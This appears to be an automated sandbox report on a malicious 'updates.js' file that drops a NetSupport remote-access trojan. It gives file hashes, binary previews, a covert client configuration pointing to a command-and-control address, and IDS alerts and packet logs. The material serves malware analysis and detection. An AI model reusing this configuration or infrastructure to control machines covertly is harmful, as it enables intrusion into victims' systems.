Preview:	0x451906b9....[Client].._present=1..AlwaysOnTop=1..DisableChat=1..DisableChatMenu=1..DisableClientConnect=1..DisableCloseApps=0..DisableDisconnect=1..DisableManageServices=0..DisableReplayMenu=1..DisableRequestHelp=0..HideWhenIdle=1..Protocols=3..RADIUSSecret=dgAAAPpMkI7ke494fKEQRUoablcA..RoomSpec=Eval..silent=1..SKMode=1..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Program Files (x86)\NetSupport\NetSupport Manager\client32u.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[General]..BeepUsingSpeaker=0....[HTTP]..GatewayAddress=94.158.245.103:443..gskmode=0..GSK=EK:I?GBHEM:H?LDK9M>DCAGB..GSKX=EIHJ=HBKHH;L>GCIFI;H>MCP..

C:\Users\user\AppData\Roaming\GRDCWLLI20\initial_preferences

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	dropped
Size (bytes):	613362
Entropy (8bit):	6.022362807465715
Encrypted:	false
SSDEEP:	12288:MyLOECzdyqLHl8ODcwPawFSoucO5JYhuFMZUpSFW7v1nq2w9b6qW3:kEqNLOODyoNNsqUpSFW7v4j9b6qW3
MD5:	D34FA84A88438C889B21D1AFA1D7348E
SHA1:	37905A3931BF2FAA104047408BAA3790AD4A5070
SHA-256:	98F0F679B47D1151C18064A44A8E097C338EBF1679A23EACC20740EC19852740
SHA-512:	F7B0CF48C4720F44EA2906CD3101A6C35CF690897ADD6CA66859EAC66B7129CA8805A85309E7747CC83ABB847C17424800D66AC2D4E55A44116F401998F2AC1D
Malicious:	false
Preview:	.{"variations_compressed_seed":"H4sIAAAAAAAA\/+y9a5wc11UvOtU9M7a3JLu1ZctS6zUqS\/JIttrd1Y\/plu2EeWikaWukSffokcShVdW1p7s81VVNVfWMJg9uyAVCLpCQB4FAIIRXwiGJHQ6Pe4DLKzrAvQdyD4RLbjgcAhyegRwSOIdzknNuuL\/au6q6dr1bcmzLnuSDPF1r\/ffea639XnstMNNcnu++dmt5YSm\/vLC0tSzlNy8tzN5YXlgfXFpY3lpemN0821nqzM4++eRDKxerF7YGcvc1zyw9CZ9jwIOzSz2+gxqIF5G2jESJX5H5LaRVmfpZcOKyjlohBC3d4AUZtQr5fEYU9ocC1QsAzquKoamym2VM2A\/DWBr74a6ZSi6fK1bztVyhUMiOz8zkTk2lp8fhs54qX5FEpF4aGP2BEVxlF0FklV10SavsYmnsgzuHVa5wrhp\/gQEPzF5ZVAeKyBuSqszzfWOgoStclamfArvOKmYB4gV+oLS7GVF4MIS6\/jg4vKhqbSReUlqBFJkx4cFsCPMT4IjFvLYWzs0GczdOwF3Vai6fKxW5Uq5QqmR31Armn6VSKZefGptiplJT6WnmOgP\/JKKxx8HdC5KOW2u2E7702nkEjleruVNZqrVlqoG\/mQInZwWZN1AT8Vq7u6KpG5KItKu81hv0G+ibBkg39FlF1FRJrDL1ArjLMqXM\/n1\/8t9\/lxEOwmw4wFsZpr4D3LWA1viBbGQ4k9+ykMz+fZ\/H\/CCG\/yx4aCjAUMrMmHAwG4FUXwTHXKKMxGEjcBp74ESBK+ZOmWKcHu\/e\/KNfeG7yOgM\/nUiQC0hfN9S+V5B\/epuC\/LM7UZAH3IIcm2amU9Pp6Xscgf5GChyPF+jSpaZXmH9+m8L8T3eiMCmrnHCE+H0p8MAK30FLypo6K6gDY7Ur6U3JQFWmvugbrLks2N3sqptNvteXkSlRpBhwYo2X

C:\Users\user\AppData\Roaming\GRDCWLLI20\install\ctlrvers.dat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.25
Encrypted:	false
SSDEEP:	3:SVyn:Ssn
MD5:	17412178172B24C5E570F6F13C42F4C0
SHA1:	F0AAC01BDD57F034D9CDA7DBEC9DD97C0DCB81EB
SHA-256:	2F2BB8B0A74E9049F4EE9DD039D81BC853FA8DB3F311A799032F002B9CC1DE41
SHA-512:	3B9808F22E3455505DA42B26D3C0C0D56CBAC41FD0D2076C3363273D9E77064047D8FC7B969612A5F5C78E0588F510DDD5B2173BE224B1B5EEDC5E51E9E5A92E
Malicious:	false
Preview:	1.0.1244

C:\Users\user\AppData\Roaming\GRDCWLLI20\install\en-US.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	366601
Entropy (8bit):	5.662364865781263
Encrypted:	false
SSDEEP:	6144:vxWr2xoTIpupSwg1QMMXntfaY46yX1/PrMN8xKHfHqzHs:8r2WTqUl5MOnqavqY
MD5:	1761DC1760C752B6A16BF6F8797B207B
SHA1:	AE0C16AF795ADA3047F086DC841F66FF561FF139
SHA-256:	8C437A858E53894C6072D521459662FECEB3B1E416F62F3F4961D1F6C62B4C9D
SHA-512:	EBCE0FE7F70E4F8698B3A758C58309F461A25DDFFA413B8440EDFE593F70EE4D26046E3FE36EB1F01A4C0FA042270EAB29D2D717B0A02F1994870E1D9F4BBE09
Malicious:	false
Preview:	......... ..e.$...f.*...g.9...h.O...i.]...j.u...k.....l.....m.....n.....o.H...p.m...q.....r.....s.....t.....u.....v.....w.....x.....y.....z.....{.....\|.(...}.,...~.;.....F.....N.....S.....`.....f.....n...........................................................................................................(.....0.....4.....;.....@.....V.....W.....^.....a.....d.....i.....o.....z.....~.................................................................%.....5.....>.....I.....U.....`.....{.................................................................%.....4.....N.....[.....h.....k...........................................................5.....i.....w.............................................................................,.....3.....<.....F.....O.....W.....f.....k.....w...............................................A.....M.....z.........".....#.....$.....%.....&.0...'.7...(.O...).g...+.v.../.....1.....2.....3.....4.....5.....6.....7.....8.....:.....<.!...=.H.....N...................

C:\Users\user\AppData\Roaming\GRDCWLLI20\install\fr.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	474195
Entropy (8bit):	5.557096749384389
Encrypted:	false
SSDEEP:	12288:EpFCZh0dne0ymuV8iObj/9XY441LSPwOi6PtQE0sIkcOBZfb9NVmEV//QpSY:EPC/9VVLcd/Qj
MD5:	DDFCAC89248FDC7C51C1A932B6AC1C37
SHA1:	B16577290A95346B74C84D95F3B3763219BE999C
SHA-256:	9FCB23EDFB0C68015EB5DC54B2FA48E2E5C3410FACD56547A33B6888EC71E079
SHA-512:	84E812C5E0FD0F61EC370D3751ED5F0059E62566E8BE125D705B37DCDB5A04B82399D531C261278D4E9292923EDBCE67B49CFCEB57263B83292C695F745732ED
Malicious:	false
Preview:	........&!..e.>...f.D...g.U...h.j...i.x...j.....k.....l.....m.....n.>...o.....p.....q.@...r.V...s.\|...t.....u.....v.....w.....x.....y.....z.....{.....\|.....}.....~.+.....6.....>.....C.....P.....V.....^.....o.....x.....................................................................................................&.....1.....7.....>.....D.....d.....e.....l.....o.....r.....y.................................................................:.....J.....o.........................................5.....P.....{.........................................&.....2.....H.....X.....k...........................................................X.....s.............................$.....<.....Q.....e.....w...........................................................0.....=.....A.....I.....T.....f.....k.....v...................................$.....F...........................".(...#.R...$.....%.....&.....'.....(.....).....*.&...+.0.../.I...1.[...2.b...3.u...4.....6.....7.....8.....:.....;.....<.....=.5.....=.

C:\Users\user\AppData\Roaming\GRDCWLLI20\install\initial_preferences

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	dropped
Size (bytes):	613362
Entropy (8bit):	6.022362807465715
Encrypted:	false
SSDEEP:	12288:MyLOECzdyqLHl8ODcwPawFSoucO5JYhuFMZUpSFW7v1nq2w9b6qW3:kEqNLOODyoNNsqUpSFW7v4j9b6qW3
MD5:	D34FA84A88438C889B21D1AFA1D7348E
SHA1:	37905A3931BF2FAA104047408BAA3790AD4A5070
SHA-256:	98F0F679B47D1151C18064A44A8E097C338EBF1679A23EACC20740EC19852740
SHA-512:	F7B0CF48C4720F44EA2906CD3101A6C35CF690897ADD6CA66859EAC66B7129CA8805A85309E7747CC83ABB847C17424800D66AC2D4E55A44116F401998F2AC1D
Malicious:	false
Preview:	.{"variations_compressed_seed":"H4sIAAAAAAAA\/+y9a5wc11UvOtU9M7a3JLu1ZctS6zUqS\/JIttrd1Y\/plu2EeWikaWukSffokcShVdW1p7s81VVNVfWMJg9uyAVCLpCQB4FAIIRXwiGJHQ6Pe4DLKzrAvQdyD4RLbjgcAhyegRwSOIdzknNuuL\/au6q6dr1bcmzLnuSDPF1r\/ffea639XnstMNNcnu++dmt5YSm\/vLC0tSzlNy8tzN5YXlgfXFpY3lpemN0821nqzM4++eRDKxerF7YGcvc1zyw9CZ9jwIOzSz2+gxqIF5G2jESJX5H5LaRVmfpZcOKyjlohBC3d4AUZtQr5fEYU9ocC1QsAzquKoamym2VM2A\/DWBr74a6ZSi6fK1bztVyhUMiOz8zkTk2lp8fhs54qX5FEpF4aGP2BEVxlF0FklV10SavsYmnsgzuHVa5wrhp\/gQEPzF5ZVAeKyBuSqszzfWOgoStclamfArvOKmYB4gV+oLS7GVF4MIS6\/jg4vKhqbSReUlqBFJkx4cFsCPMT4IjFvLYWzs0GczdOwF3Vai6fKxW5Uq5QqmR31Armn6VSKZefGptiplJT6WnmOgP\/JKKxx8HdC5KOW2u2E7702nkEjleruVNZqrVlqoG\/mQInZwWZN1AT8Vq7u6KpG5KItKu81hv0G+ibBkg39FlF1FRJrDL1ArjLMqXM\/n1\/8t9\/lxEOwmw4wFsZpr4D3LWA1viBbGQ4k9+ykMz+fZ\/H\/CCG\/yx4aCjAUMrMmHAwG4FUXwTHXKKMxGEjcBp74ESBK+ZOmWKcHu\/e\/KNfeG7yOgM\/nUiQC0hfN9S+V5B\/epuC\/LM7UZAH3IIcm2amU9Pp6Xscgf5GChyPF+jSpaZXmH9+m8L8T3eiMCmrnHCE+H0p8MAK30FLypo6K6gDY7Ur6U3JQFWmvugbrLks2N3sqptNvteXkSlRpBhwYo2X

C:\Users\user\AppData\Roaming\GRDCWLLI20\install\manifest.json

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	170
Entropy (8bit):	4.67078204534958
Encrypted:	false
SSDEEP:	3:mifFuY9HnQA5JVPqS18iMDXAh/OR6TAulLvPxAUNV/RWFVXAkEpMgMYv:v5975JVSS18iMkh26Vlp//gQNMC
MD5:	CBA80EE11DE525535BF2068AC23107B0
SHA1:	479C817E5B4AE2E49E1E950359F072DD8A8D227F
SHA-256:	333654272A482DC66A15D07C778CDFED72E74F6FA50342F00995E26F5DC7678F
SHA-512:	5ACDFD8874E3506C65446F5B5022879B74D5FAA4D05AF36C9835A35E542BAB21D81AF0F334403F9F3597B12C20C52E2DE9377ED7B22466DEA3D7ECE47810D5F8
Malicious:	false
Preview:	{. "name": "MEI Preload", . "icons": {}, . "version": "1.0.7.1652906823", . "manifest_version": 2, . "description": "Contains preloaded data for Media Engagement".}.

C:\Users\user\AppData\Roaming\GRDCWLLI20\install\uz.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	428738
Entropy (8bit):	5.633613175057363
Encrypted:	false
SSDEEP:	6144:PO9/3sERZht7a5XBZLE2mV9RfPLyJDPrwnCWacgjjW5cRE0O2fGOGwNws/08gh8h:FER8XzwPgnma9
MD5:	0E95005552BA506314B1591376EB9D75
SHA1:	58B3C2EC36D3738AB8E10105C12BE1784C627F31
SHA-256:	72CB1CBC47EC3D560E02A19B4A9DF7FF6C4E232CA98286158E78CFF346A4CD46
SHA-512:	88FDDFD0E22C4A21A36C97E27758149691D7E61F8C44CF69AAF3C9CE977CB29FA0949A76BF343A36D352B48BDCBD66C8AD6CEB6FAB7C247A73BDAA4116A314B7
Malicious:	false
Preview:	......... y.e.v...f.\|...g.....h.....i.....j.....k.....l....m.8...n.Z...o.....p.....q.b...r.w...s.....t.....u.....v.....w.....x.....y.....z.....{."...\|.....}.2...~.A.....L.....T.....Y.....f.....l.....t.....................................................................................................$.....A.....G.....M.....T.....Z.....r.....s.....z.....}......................................................................1.....N.....b.....y.....................................................6.....M.....q...............................................'.....=.....\.....c.....s.....x.........................................=.....m.....................................................-.....K.....Q.....g.....o...................................................................................).....5.....I....._.......................(.....b.........".....#.....$.....%.....&.9...'.@...(.Y...).m...+.~.../.....1.....2.....3.....4.....5.....6.....7.....:.+...;.Q...<.V...=.z.................0.

C:\Users\user\AppData\Roaming\GRDCWLLI20\install\zh-CN.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	361713
Entropy (8bit):	6.790395434377143
Encrypted:	false
SSDEEP:	6144:nBWo6FHO66dFrmKSvqRSRbq9SgvFzJlkVDE:nBWoo563rnyrgtzJlku
MD5:	B854863EDFE51CED85381590992C1DEA
SHA1:	5202285EAC135C1D444459E0969D1481833EEA8E
SHA-256:	41DA1543A2E58B1932EF7E525A93BB3336CBE6CB6AB0648A604D0E59589931EF
SHA-512:	3C3D1887D99063BA2938D844C2A5FB2F9FDB2FB043347BFC5DD2A0907CD2F1FCF8F25D6B36728D4531E68171055DFD58D82FED636BBE72F46E7076748AC0D6B8
Malicious:	false
Preview:	......... ..e.<...f.B...g.V...h.i...i.w...j.....k.....l.....m.....n.....o.x...p.....q.....r.....s.....t.....u.....v.....w.#...x.5...y.I...z.d...{.i...\|.t...}.x...~.......................................................................................................1.....8.....@.....H.....J.....M.....V.....h.....q.....w.....}.........................................................................................%.....2.....D.....S.....Y.....n.....}.............................................................................+.....@.....L.....X.....y.................................................................%.....@.....R.....h...........................................................".....2.....>.....J.....Y....._.....k.....y.............................................................................?.....V......................."...".....#.^...$.....%.....&.....'.....(.....).....*.....+...../.....1."...2.(...3.:...4.F...5.^...6.g...7.s...8.....:.....;.....<.....=.............".

C:\Users\user\AppData\Roaming\GRDCWLLI20\install_state.json

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1794
Entropy (8bit):	3.5509498109363986
Encrypted:	false
SSDEEP:	24:eCrjdMrTm893chS4Mw2n1iFotb496fjCuTiBCVXTbzVHeEVt:/rS0EQn8bB+EVt
MD5:	3F78A0569C858AD26452633157103095
SHA1:	8119BCC1D66B17CCD286FEF396FA48594188C4D0
SHA-256:	D53FC339533D39F413DDD29A69ADE19F2972383DB8FB8938D77D2E79C8573F36
SHA-512:	89842E39703970108135D71CE4C039DF19C18F04C280CB2516409758F9D22E0205567B08DBE527A6FB7C295BDA2EA8EE6A368D6FCAF6FB59645D31EF2243AD3D
Malicious:	false
Preview:	//353b2d6049dd2f0998bdd73f13855b290ad0be89f62d61dbc2672253e4fb72da.{.. "install": {.. "clids": {.. "clid1": {.. "clid": "1985548",.. "vid": "225".. },.. "clid10": {.. "clid": "1985553",.. "vid": "225".. },.. "clid100004": {.. "clid": "1985555",.. "vid": "225".. },.. "clid1010": {.. "clid": "2372823",.. "vid": "".. },.. "clid15": {.. "clid": "1985554",.. "vid": "225".. },.. "clid21": {.. "clid": "2372816",.. "vid": "".. },.. "clid25": {.. "clid": "2372817",.. "vid": "".. },.. "clid28": {.. "clid": "2372813",.. "vid": "".. },.. "clid29": {.. "clid": "2372821",.. "vid": "".. },.. "clid30": {.. "clid": "2372822",.. "v

C:\Users\user\AppData\Roaming\GRDCWLLI20\msvcr100.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\GRDCWLLI20\nskbfltr.inf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Roaming\GRDCWLLI20\nsm_vpro.ini

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\Users\user\AppData\Roaming\GRDCWLLI20\pcicapi.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.7376663312239256
Encrypted:	false
SSDEEP:	768:JFvNhAyi5hHA448qZkSn+EgT8ToDXTVi0:JCyoHA448qSSzgIQb
MD5:	34DFB87E4200D852D1FB45DC48F93CFC
SHA1:	35B4E73FB7C8D4C3FEFB90B7E7DC19F3E653C641
SHA-256:	2D6C6200508C0797E6542B195C999F3485C4EF76551AA3C65016587788BA1703
SHA-512:	F5BB4E700322CBAA5069244812A9B6CE6899CE15B4FD6384A3E8BE421E409E4526B2F67FE210394CD47C4685861FAF760EFF9AF77209100B82B2E0655581C9B2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\GRDCWLLI20\remcmdstub.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	63864
Entropy (8bit):	6.446503462786185
Encrypted:	false
SSDEEP:	1536:Tf6fvDuNcAjJMBUHYBlXU1wT2JFqy9BQhiK:D6f7cjJ4U4I1jFqy92hiK
MD5:	6FCA49B85AA38EE016E39E14B9F9D6D9
SHA1:	B0D689C70E91D5600CCC2A4E533FF89BF4CA388B
SHA-256:	FEDD609A16C717DB9BEA3072BED41E79B564C4BC97F959208BFA52FB3C9FA814
SHA-512:	F9C90029FF3DEA84DF853DB63DACE97D1C835A8CF7B6A6227A5B6DB4ABE25E9912DFED6967A88A128D11AB584663E099BF80C50DD879242432312961C0CFE622
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$U..`4..`4..`4..{.D.q4..{.p.54..iLI.e4..`4..74..{.q.}4..{.@.a4..{.G.a4..Rich`4..................PE..L......U.....................J.......!............@.......................... .......o....@....................................<.......T...............x)..............................................@...............@............................text............................... ..`.rdata...%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\GRDCWLLI20\tttt.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3731115
Entropy (8bit):	7.998188939894259
Encrypted:	true
SSDEEP:	98304:E1NFXa/hRFY89YYc9jh23redpmQR6Q6/mizhpX6mD:UNSxYoY59V0redpmQR6jhpl
MD5:	1D982823F1D159185450F98204AC32EA
SHA1:	698B10CF72E8D12D047872746EB1E882FF2DD15A
SHA-256:	7A49D805AFFC15E1755D0DB339705147FACA5A4254C20B9169529FD1CC5FB2D0
SHA-512:	C7F11F4C074E35A66D6549CFA8050199D610DFCE253C799DCF1647DBCB5896AB731470EF24021C460D572F02C1AAEA98005C6F97DED55C9E98FD84B3E1ECDF7F
Malicious:	false
Preview:	PK.........DWW..%.&l..........client32.exe.\|.xT.....N..".R....A.W..@........Tj.$...Q.@... ...7!...@..iJ.......;3....R..~.....;g...3gfnx...T.@......b../....d.@...n{...ts....5d.....]%.i..v...:3lZ..i]G.9v.:...\__...F.).C....(..B..t..P.f....&..9..e.k9.:.K.X...8..`.@...Oph.@W...B.p....N.]A.....A^...!..Y..T...+..t........`..KUg.....`..]w..=k...g...7.......4<..=f..\|..8T.."...z..:..ae>s.L.(....f.U.%=.).Iq.....T..px-..8G.G...`8.>{#.=....&B..G..)t........uY:R0..C.....C.........G......1r.e..K5HMop..ZJ..6.&...fM.........m....G..W.I0....hb.."NDS5...>MTz-.".i.....v..[..JC.dC........^4....4.W.U.SZ.'..........O...C.O.+..X...Cs.)S.L`3'8t.....Y..Te....~aS.G...M......9..g......0}.\|-.;..N%....Hi......$.....kC..t..`..,..!&..X..$.6k..v....o_.I.......x......?_..'.A..../`S.b...u.].....t..9.6...g.l..\|.2...Nte.}.N....]........)d..Q{.>g.p?G.O...g.......S.Z*.-.....^.......[......V..i...V.oh.~l+......R9.}W.F..q....4...._`G.CK..u.@l.....7l.W/..b.&... H.1..I.........

Static File Info

General

File type:	ASCII text
Entropy (8bit):	4.952347714265242
TrID:	Java Script (8502/1) 68.00% Digital Micrograph Script (4001/1) 32.00%
File name:	updates.js
File size:	7'688'860 bytes
MD5:	2826502a26311bbe395d5ab565114330
SHA1:	1764ea00a1262c07b13d0c4b059e88e57650dfc4
SHA256:	65ab8ed555628693952b1fc385feca757b0a689981128d848f2c39a52e7da1e9
SHA512:	578eaf54cab019a8f1b166b1da0b5580ee8081bfd1629fe938e366ac855b501016d84e5567008069d900a970247577ae998191d028ce5904dd7c0a7bee451239
SSDEEP:	49152:47h4zjCxb7qHlp4BOlN0KFhcuscyEMzYsm7++86mn3Ef/Vf7GI0/3qp6RCgScEQu:1
TLSH:	EC76E40DAEF71091A923313C8FAF640AB6748017190ADD143D9DA3945FA953867FEFE8
File Content Preview:	/. Licensed to the Apache Software Foundation (ASF) under one.* or more contributor license agreements. See the NOTICE file.* distributed with this work for additional information.* regarding copyright ownership. The ASF licenses this file.* to you un

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/16/24-22:29:48.775589	UDP	2054426	ET TROJAN ZPHP CnC Domain in DNS Lookup (dfwreds .com)	58012	53	192.168.2.4	1.1.1.1

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-16T22:29:37.087965+0200	TCP	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	49731	443	192.168.2.4	94.158.245.103
2024-07-16T22:29:37.087965+0200	TCP	2857473	ETPRO MALWARE Malicious NetSupport Rat CnC Checkin	49731	443	192.168.2.4	94.158.245.103
2024-07-16T22:29:54.986481+0200	TCP	2034559	ET POLICY NetSupport GeoLocation Lookup Request	49732	80	192.168.2.4	104.26.0.231
2024-07-16T22:30:00.900003+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49733	20.12.23.50	192.168.2.4
2024-07-16T22:30:43.615970+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	52098	20.12.23.50	192.168.2.4
2024-07-16T22:29:48.775589+0200	UDP	2054426	ET MALWARE ZPHP CnC Domain in DNS Lookup (dfwreds .com)	58012	53	192.168.2.4	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 16, 2024 22:29:48.865631104 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:48.871773958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:48.871923923 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:48.873991966 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:48.880629063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.385452032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.385485888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.385503054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.385523081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.385538101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.385540009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.385581970 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.385649920 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.385667086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.385682106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.385700941 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.385715961 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.385858059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.385875940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.385920048 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.390364885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.390450001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.390465975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.390502930 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.431627035 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.474117994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.474159002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.474216938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.474224091 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.474251032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.474287033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.474292040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.474323034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.474358082 CEST	80	49730	23.227.193.59	192.168.2.4
